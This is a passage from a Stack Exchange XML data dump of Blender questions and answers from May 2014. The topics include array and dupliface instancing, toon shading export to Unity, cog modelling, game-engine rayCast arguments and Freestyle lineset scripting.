(&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Add &gt; Mesh &gt; Plane&lt;/em&gt;) and add an array modifier to it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent the object you want to repeat to plane (select the object, then the plane, and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&gt;Object&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Duplifaces&lt;/em&gt; on the plane under &lt;em&gt;Properties &gt; Object &gt; Duplication&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Using this technique, you can duplicate fairly high-poly objects many times. In this example I duplicated a 4500 vert cube thing 100 times without any trouble. When I tried this with a straight array modifier (without the dupliface trick) the viewport was quite slow and the array modifier took about 30 seconds to compute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/biJTY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles is actually pretty good at rendering large amounts of instances like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://bensimonds.com/2012/07/04/fun-with-instancing-in-cycles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fun with Instancing in Cycles&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?249664&quot; rel=&quot;nofollow noreferrer&quot;&gt;19 Billion Polygons, not a ridiculous number anymore&lt;/a&gt; (BA thread)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note that depending on the scene, there might be other optimizations you can do, e.g. using baked texture maps and lower poly models for far away objects.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-02-18T19:49:46.360" LastActivityDate="2020-02-18T19:49:46.360" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="9210" PostTypeId="2" ParentId="9207" CreationDate="2014-05-08T23:29:19.007" Score="1" Body="&lt;p&gt;No, currently the only method for splitting objects uses &lt;code&gt;bpy.ops&lt;/code&gt;, there aren't always API equivalents for each blender operator.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-08T23:29:19.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9211" PostTypeId="1" CreationDate="2014-05-09T00:02:43.703" Score="4" ViewCount="248" Body="&lt;p&gt;I'm making a quasi-3d model for Sanic the Hegehog where it's just a cut out of an image that was given depth. However, I'm trying to put the same image as the texture, but it's shrunk down and tiled. How could I blow up the image so that way it fits out the cutout&lt;img src=&quot;https://i.stack.imgur.com/ApyVT.png&quot; alt=&quot;Here be a pic of Sanic&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3419" LastActivityDate="2014-10-06T09:05:23.637" Title="Apply a Picture Texture" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9212" PostTypeId="1" CreationDate="2014-05-09T00:12:05.407" Score="1" ViewCount="1030" Body="&lt;p&gt;Hey I want to connect these ears to this head. The thing is I want to rig it later and I'm worried that if I don't actually join the two meshes together it will look weird if I move the ears with a joint. Would it work regardless or do I need to connect both meshes. If I have to connect them the problem I have is that obviously there are aren't enough vertices on the head to properly connect the ears to it. I know about adding a new edge or also subdividing so that's really no problem. What I want to know is if this is absolutely necessary or if there's a way to connect these 2 objects together without doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VxGRl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3109" LastActivityDate="2014-05-09T00:12:05.407" Title="How to connect objects if they don't match?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9214" PostTypeId="2" ParentId="8298" CreationDate="2014-05-09T01:16:03.023" Score="-1" Body="&lt;p&gt;Yes, there is a way, because there is an image processing package called Hugin (available for free), with tutorials from &lt;a href=&quot;http://hugin.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;http://hugin.sourceforge.net/&lt;/a&gt; which does exactly what you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have downloaded it and tried to do exactly what you wish, but I've not yet mastered Hugin. I do perceive that it might be more doable with some images than with others. I have it, I'm trying to learn it, but I have to say that for me, it's been more difficult than Blender. .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tutorial link: &lt;a href=&quot;http://hugin.sourceforge.net/tutorials/perspective/&quot; rel=&quot;nofollow&quot;&gt;http://hugin.sourceforge.net/tutorials/perspective/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="1170" LastEditDate="2014-08-07T15:10:50.863" LastActivityDate="2014-08-07T15:10:50.863" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9215" PostTypeId="1" AcceptedAnswerId="9219" CreationDate="2014-05-09T03:58:58.470" Score="3" ViewCount="1895" Body="&lt;p&gt;I made a character and added toon shading but I can't see it. After some research it seems that toon shading is only visible if you render the image with a camera in the blender scene. I want to import the cel shaded model to Unity so I have to need for a camera or light source since I will have to use Unity's. Is it possible to export a &quot;cel shaded&quot; character?&lt;/p&gt;&#xA;" OwnerUserId="3109" LastActivityDate="2014-05-10T00:32:09.050" Title="Import Toon Shaded Character to an outside program?" Tags="&lt;modeling&gt;&lt;shaders&gt;" AnswerCount="3" CommentCount="0" ClosedDate="2014-12-23T12:02:38.113" ContentLicense="CC BY-SA 3.0" />
  <row Id="9216" PostTypeId="2" ParentId="9215" CreationDate="2014-05-09T05:29:44.280" Score="2" Body="&lt;p&gt;I cannot say for certain if it can or can't be done, but I would advise against it regardless. Unity comes with a few toon shaders that are fine for most cases and are guaranteed to work with the engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you do instead is that you export the mesh object by itself and build the material you want for it inside Unity. You also assign the texture for it in Unity if your object has one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you feel you need more control over the toon shader, there are some solutions over at the Unity Marketplace you could try.&lt;/p&gt;&#xA;" OwnerUserId="3420" LastActivityDate="2014-05-09T05:29:44.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9217" PostTypeId="1" AcceptedAnswerId="26785" CreationDate="2014-05-09T06:06:07.580" Score="3" ViewCount="3627" Body="&lt;p&gt;I have a sphere which I use to restore dynamics on objects it collides with (by expanding to cover the shards over the course of the animation); the collided objects are &quot;shards&quot; of a crystal, and the sphere is a ghost so it does not affect any part of the crystals except the state of their dynamics. I have a collision node set to detect collisions with the material of the sphere, but that requires it to be a dynamic object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to make the sphere unaffected by gravity during physics simulation, since there is no way to set the mass to zero, and collisions will not be detected with static objects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/8737/can-gravity-be-disabled-for-a-single-object-in-the-bge&quot;&gt;This question&lt;/a&gt; has a similar problem, but setting the sphere to a character simply made it glitch out and not expand correctly.&lt;/p&gt;&#xA;" OwnerUserId="3171" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2016-01-25T18:00:09.910" Title="Disable gravity for a single dynamic object in the BGE?" Tags="&lt;game-engine&gt;&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9218" PostTypeId="1" AcceptedAnswerId="9236" CreationDate="2014-05-09T06:07:16.823" Score="4" ViewCount="915" Body="&lt;p&gt;I've got a cube-shaped mesh and an armature. Both are aligned, and weight-painted properly. What's happening is that when I rotate the corresponding bone for the armature, the actual mesh rotates half the amount of the bone until I reach 180 degrees (of bone rotation), when the mesh jumps to the other side and continues its half-thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, the mesh is only rotating along the top 180 degrees of its full rotation cycle while the bone is able to move at its full 360 degree rotation. It's really acting as if I put an IK rotation constraint, but that's not the case. It's a full three bones of separation from the nearest IK bone, which is not connected to it in any way.&lt;/p&gt;&#xA;" OwnerUserId="3421" LastEditorUserId="2173" LastEditDate="2014-05-09T16:35:26.487" LastActivityDate="2014-05-09T16:35:26.487" Title="Why does my armature's bone rotate 360°, but the mesh only rotates 180°?" Tags="&lt;mesh&gt;&lt;armature&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9219" PostTypeId="2" ParentId="9215" CreationDate="2014-05-09T06:40:16.057" Score="2" Body="&lt;p&gt;Since a shader is calculated real-time, and not something that can be feasibly stored and exported, this is not possible. Unless unity has a feature to interpret blender's settings and simulate blender's toon shading, which I don't think it does.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've never used unity, but this pretty much applies to importing and exporting to/from any program.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-05-09T06:40:16.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9220" PostTypeId="2" ParentId="9211" CreationDate="2014-05-09T06:50:39.620" Score="1" Body="&lt;p&gt;It seems that your cutout model is already extruded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the outline of your cutout and mark seams for unwrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all the front faces and unwrap them (Project from View is best in this case). &#xA;Load your sonic picture in uv window and adjust the resize the unwrap (if the picture is in box size like 400x400, 512x512, it's going to fit perfect)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this, in 3d view, Press Ctrl+I to invert the selection and unwrap it too. In Uv Window, press w and select weld (This turns the other selected faces into 1 single dot) and place the result where ever you seem appropriate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give material to your model and add the sonic texture sheet.&lt;/p&gt;&#xA;" OwnerUserId="738" LastActivityDate="2014-05-09T06:50:39.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9221" PostTypeId="1" CreationDate="2014-05-09T07:27:10.803" Score="2" ViewCount="240" Body="&lt;p&gt;I'm quite new to Freestyle but I can imagine using it for great many things. One feature I could really use would be to finetune line thickness with vertex weights, for example masking areas where lines should be visible or just tweaking the thickness of specific sides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the current modifiers, closest thing I can find is the Material modifier, but working with textures brings an unnecessary layer of complexity, I feel. And Vertex Colors (if they can even be used for this purpose) are limited to three channels, whereas there can be an arbitrary number of weights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The python source (parameter_editor.py) looks like it could be used to cut something together to fit the bill, but before dwelling too deep into it I thought I'd ask if anyone knew if it's something that could be done in the first place, or am I running towards a dead end?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Can't answer my own question, so edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems my timing was rather poor as Freestyle is undergoing a number of tweaks and fixes that might provide tools for what I was after.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Support for vertex groups in feature edge selection and line stylization. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aKjym3/DevFundProject/Proposal#Appendix%3a_Future_work&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/User:Kjym3/DevFundProject/Proposal#Appendix:_Future_work&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Some hours were also spent for code reading to investigate different options for better Python scripting integration into the Freestyle interactive GUI in Blender. The idea is to allow artists to write Python expressions to build custom line styles.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aKjym3/DevFundProject/2014#Python_scripting_integration_into_Freestyle_GUI&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/User:Kjym3/DevFundProject/2014#Python_scripting_integration_into_Freestyle_GUI&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3420" LastEditorUserId="3420" LastEditDate="2014-05-09T10:56:14.793" LastActivityDate="2014-05-09T10:56:14.793" Title="Is it conceivable to create a Freestyle thickness modifier that multiplies by vertex weights?" Tags="&lt;python&gt;&lt;freestyle&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9222" PostTypeId="1" AcceptedAnswerId="9237" CreationDate="2014-05-09T08:05:39.110" Score="1" ViewCount="1394" Body="&lt;p&gt;Still following the &lt;a href=&quot;http://www.youtube.com/watch?v=H44cBzjxbh4&quot; rel=&quot;nofollow noreferrer&quot;&gt;same tutorial&lt;/a&gt; as &lt;a href=&quot;https://blender.stackexchange.com/q/2112/599&quot;&gt;I was following so long ago&lt;/a&gt; :P &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At about 9:30 he mentions using &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/bge.types.KX_GameObject.html#bge.types.KX_GameObject.rayCast&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;rayCast()&lt;/code&gt;&lt;/a&gt; to get the intersection of the ray and any objects with a specific property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sounds like what I want to do, which is get the location of the point underneath the cursor on only a specific object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;&#xA;def main():&#xA;&#xA;    scene = logic.getCurrentScene()&#xA;    cont = logic.getCurrentController()&#xA;    mouse_over = cont.sensors[&quot;mouse_over&quot;]&#xA;&#xA;    if mouse_over.positive:&#xA;        tracker = scene.objects[&quot;mainTarget&quot;]&#xA;        crosshair = scene.objects[&quot;Cross_hair&quot;]&#xA;        floor = scene.objects[&quot;Floor&quot;]&#xA;#        tracker.worldPosition = mouse_over.hitPosition&#xA;        tracker.worldPosition = crosshair.rayCast(floor, &quot;isTrackerFloor&quot;, 0, 1, 0).hit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; it should be working, except I keep getting type errors from the rayCast function arguments. I've tried shuffling them all around, but had no luck (with the above arrangement it throws &lt;code&gt;TypeError: must be str, not int&lt;/code&gt;, which I assume means I have the property name in the wrong place?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong with the arguments? and If the above technique doesn't do what I want after all, is there any other way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/29063&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Blendfile&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-05-09T20:30:42.143" Title="How to get intersection of a specific object and the mouse in the BGE?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="9223" PostTypeId="1" CreationDate="2014-05-09T08:43:21.537" Score="2" ViewCount="245" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zRdmq.png&quot; alt=&quot;enter image description here&quot;&gt;I have a cube having vertex colors enabled, i want to increase and decrease the alpha color component of its vertices when i press up and down arrow keys respectively. How can i do this without writing a fragment shader, just by using Blender's Logic Editor?&lt;/p&gt;&#xA;" OwnerUserId="2713" LastActivityDate="2014-05-09T08:43:21.537" Title="How to change vertex color using a key in blender game engine?" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9224" PostTypeId="1" AcceptedAnswerId="9226" CreationDate="2014-05-09T09:17:17.667" Score="7" ViewCount="4586" Body="&lt;p&gt;I want to build a clock and I need to generate the cogs and pinions. I have seen a great tutorial &lt;a href=&quot;http://glupor.blogspot.co.uk/2012/06/blender-tutorial-1-making-cogs.html&quot;&gt;here&lt;/a&gt;, but I want to do something slightly different than fiddleware. For example I want to round the teeth ends slightly to reduce the grinding and also reduce the tooth width while increasing the gap the teeth go into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I forget where it is at this exact moment, I noticed there is a screw creator script in Blender (I'm currently using 2.7) and I was wondering if there was any kind of script that would generate a cog given some of it's defining characteristics?&lt;/p&gt;&#xA;" OwnerUserId="3075" LastActivityDate="2014-05-17T10:01:49.967" Title="Creating clock cogs?" Tags="&lt;modeling&gt;&lt;geometry&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9225" PostTypeId="2" ParentId="9208" CreationDate="2014-05-09T09:34:12.143" Score="5" Body="&lt;p&gt;I would tackle this problem by using a &lt;strong&gt;curve guide&lt;/strong&gt; force field where &lt;strong&gt;Kink&lt;/strong&gt; is set to &lt;strong&gt;Wave&lt;/strong&gt;. &lt;strong&gt;Frequency&lt;/strong&gt; and &lt;strong&gt;Amplitude&lt;/strong&gt; will help you to shape your movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prepared a blend for you that illustrates the behaviour clearly and upload it here &#xA;&lt;a href=&quot;http://www.pasteall.org/blend/29048&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/29048&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This screenshot should help all of you that don't like to download foreign blend files ;)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NBlQY.png&quot; alt=&quot;Sine particles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider that the &lt;strong&gt;wave&lt;/strong&gt; kind is behaving like a sawtooth wave... so maybe you should form your curve guide like the sine wave you'd like to create.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to use a &lt;strong&gt;harmonic&lt;/strong&gt; field... for a demo of this effect, look here: &lt;a href=&quot;http://www.pasteall.org/blend/29061&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/29061&lt;/a&gt; The movements here are less uniform. If you need even more turbulence use the &lt;strong&gt;turbulence&lt;/strong&gt; field on top..&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2014-05-09T18:28:06.537" LastActivityDate="2014-05-09T18:28:06.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9226" PostTypeId="2" ParentId="9224" CreationDate="2014-05-09T10:22:02.353" Score="17" Body="&lt;p&gt;Use &lt;strong&gt;Mesh Extra Object&lt;/strong&gt; addon to create gears. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gears and extra objects are added from &lt;kbd&gt;Shift+A&lt;/kbd&gt; menu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Addon adds the following;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gears ,&#xA;Worms ,&#xA;Diamond ,&#xA;Gem ,&#xA;Star ,&#xA;Polysphere ,&#xA;Torus Knot &#xA;and many More.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simple usage gif.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mb0jc.gif&quot; alt=&quot;Gears Animation&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="738" LastActivityDate="2014-05-09T10:22:02.353" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9228" PostTypeId="1" AcceptedAnswerId="9243" CreationDate="2014-05-09T12:10:14.807" Score="4" ViewCount="805" Body="&lt;p&gt;Just working my way through &lt;a href=&quot;https://www.youtube.com/watch?v=OAes-ITNaGA#t=306&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; . . . Got to about 5.55 in the video and hit a snag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;a href=&quot;https://www.dropbox.com/s/5yr6eyp3699gln2/fireTheLazerCannon01001Rev.wav&quot; rel=&quot;nofollow noreferrer&quot;&gt;soundfile&lt;/a&gt; loads into the graph editor, but instead of appearing as a series of curves, it shows up as collection of squared-off straight lines. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/c598unhpo27iht5/bakeSoundToFCurvesProblem.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nCuG7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the import settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/intmuiw90qcu8pn/bakeSoundToFCurvesImportSettings.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZXseb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;. . . and &lt;a href=&quot;https://www.dropbox.com/s/prkebt7bhyetyjr/mrGoogleyEyes01002Rev.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody know what gives?&lt;/p&gt;&#xA;" OwnerUserId="1203" LastEditorUserId="599" LastEditDate="2014-05-09T19:31:51.360" LastActivityDate="2014-05-10T10:00:54.353" Title="Bake sound to F Curve giving square curves?" Tags="&lt;animation&gt;&lt;import&gt;&lt;audio&gt;&lt;graph-editor&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ClosedDate="2014-05-10T10:01:03.317" ContentLicense="CC BY-SA 3.0" />
  <row Id="9229" PostTypeId="1" AcceptedAnswerId="9231" CreationDate="2014-05-09T13:00:35.337" Score="4" ViewCount="724" Body="&lt;p&gt;I am trying to add a button on the tool panel for material which should open the material editor in a dialog box, which should be resizeable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can do the button but am having trouble creating the dialog box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to Do this by making duplicate window and dislplaying the properties editor in full screen but it takes up the whole screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can make simple scripts in blender but don' know how to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much apreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.types import Header  &#xA;&#xA;bpy.ops.wm.window_duplicate()  &#xA;bpy.ops.screen.screen_full_area()  &#xA;bpy.context.area.type='PROPERTIES'  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3424" LastEditorUserId="2173" LastEditDate="2014-05-09T13:38:35.790" LastActivityDate="2014-05-09T14:08:00.880" Title="Properties Dialog Box" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9230" PostTypeId="2" ParentId="9224" CreationDate="2014-05-09T13:34:46.750" Score="5" Body="&lt;p&gt;For creating a good gear simply, my advice is to create a little part of your gear and then use an array modifier with an object offset which is rotated. With that you can simply change the size or the form of your cogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily do this if you follow this step:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to fix the number of cog that you want. For the example I choose 45 cogs.&#xA;Then add a circle with 4*numbers of cog vertices. 4*45 in my case. So now we have a circle with 180 vertices.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7aEfZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an empty at the exact place of your circle. Rotate your empty of 360/number of cogs degrees in the Z axis&#xA;&lt;img src=&quot;https://i.stack.imgur.com/R1eGb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add an array modifier on your circle. Put the number of cogs in the count parameter and put your empty in the object offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MocgG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, in edit mode, you can extrude all your circle and delete all the faces except 4 of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now put your 3d cursor in the origin of your object, change the pivot point to 3D cursor, select to vertices on the top of your 4 faces and scale them. You should have this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OV1TK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;If you pass to object mode, you have your full gear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can edit your cog and all the gear will be like the cog that you have done. Here is a little example:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SWR71.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="1165" LastEditDate="2014-05-17T10:01:49.967" LastActivityDate="2014-05-17T10:01:49.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9231" PostTypeId="2" ParentId="9229" CreationDate="2014-05-09T14:08:00.880" Score="4" Body="&lt;p&gt;This is where terminology is important (area vs. window). Your current Blender window is full screen, so duplicating that window results in &lt;em&gt;another&lt;/em&gt; full screen window. You might have better success if you try the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/bpy.ops.screen.html#bpy.ops.screen.area_dupli&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.ops.screen.area_dupli()&lt;/code&gt;&lt;/a&gt; operator and duplicate the area that contains the existing Properties Editor in your layout. The only caveat is that you need to first set that as your active area.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2014-05-09T14:08:00.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9232" PostTypeId="1" AcceptedAnswerId="9263" CreationDate="2014-05-06T15:27:49.317" Score="2" ViewCount="658" Body="&lt;p&gt;I have encountered a problem with Python scripting for Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a script which recieves meshes via an external source, and adds them to the scene.&#xA;A specific type of mesh is added to the second layer. If such a mesh is created, a second RenderLayer is created and Freestyle-Rendering is activated.&#xA;So far, all of this works as I wish.&#xA;But I want to add specific Freestyle-Brush-Color to each of this meshes, and so I want to create a Lineset with a linked LineStyle for each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem now: How can I create and manage the LineSets. I can create a LineSet for the active RenderLayer but without name, and the creation method does not return a handle to that LineSet. How do I cleanly and efficiently retrive the newly created LineSet so that I can add a LineStyle and other settings to it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My RenderLayer-related code so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LineRenderLayer = None&#xA;    if not &quot;PolyLineLayer&quot; in bpy.context.scene.render.layers:&#xA;        bpy.context.scene.render.use_freestyle = True&#xA;        bpy.context.scene.layers = [True] * 2 + [False] * 18&#xA;        bpy.context.scene.render.layers[&quot;RenderLayer&quot;].layers = \&#xA;            [True] + [False]*19&#xA;        bpy.ops.scene.freestyle_lineset_remove()&#xA;        LineRenderLayer = bpy.context.scene.render.layers.new(&quot;PolyLineLayer&quot;)&#xA;        LineRenderLayer.use_freestyle = True&#xA;        LineRenderLayer.layers = [False] + [True] + [False] * 18&#xA;    else:&#xA;        LineRenderLayer = bpy.context.scene.render.layers[&quot;PolyLineLayer&quot;]&#xA;&#xA;&#xA;    bpy.context.scene.render.layers.active = LineRenderLayer&#xA;&#xA;    bpy.ops.scene.freestyle_lineset_add()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last line is the main problem. It does not take a name as parameter and does not return anything. But I need that created Lineset for further configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Blender in version 2.70&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greetings,&#xA;Dragonseel&lt;/p&gt;&#xA;" OwnerUserId="3394" OwnerDisplayName="Dragonseel" LastActivityDate="2014-05-10T14:44:02.820" Title="Blender with Python - Freestyle Linesets" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
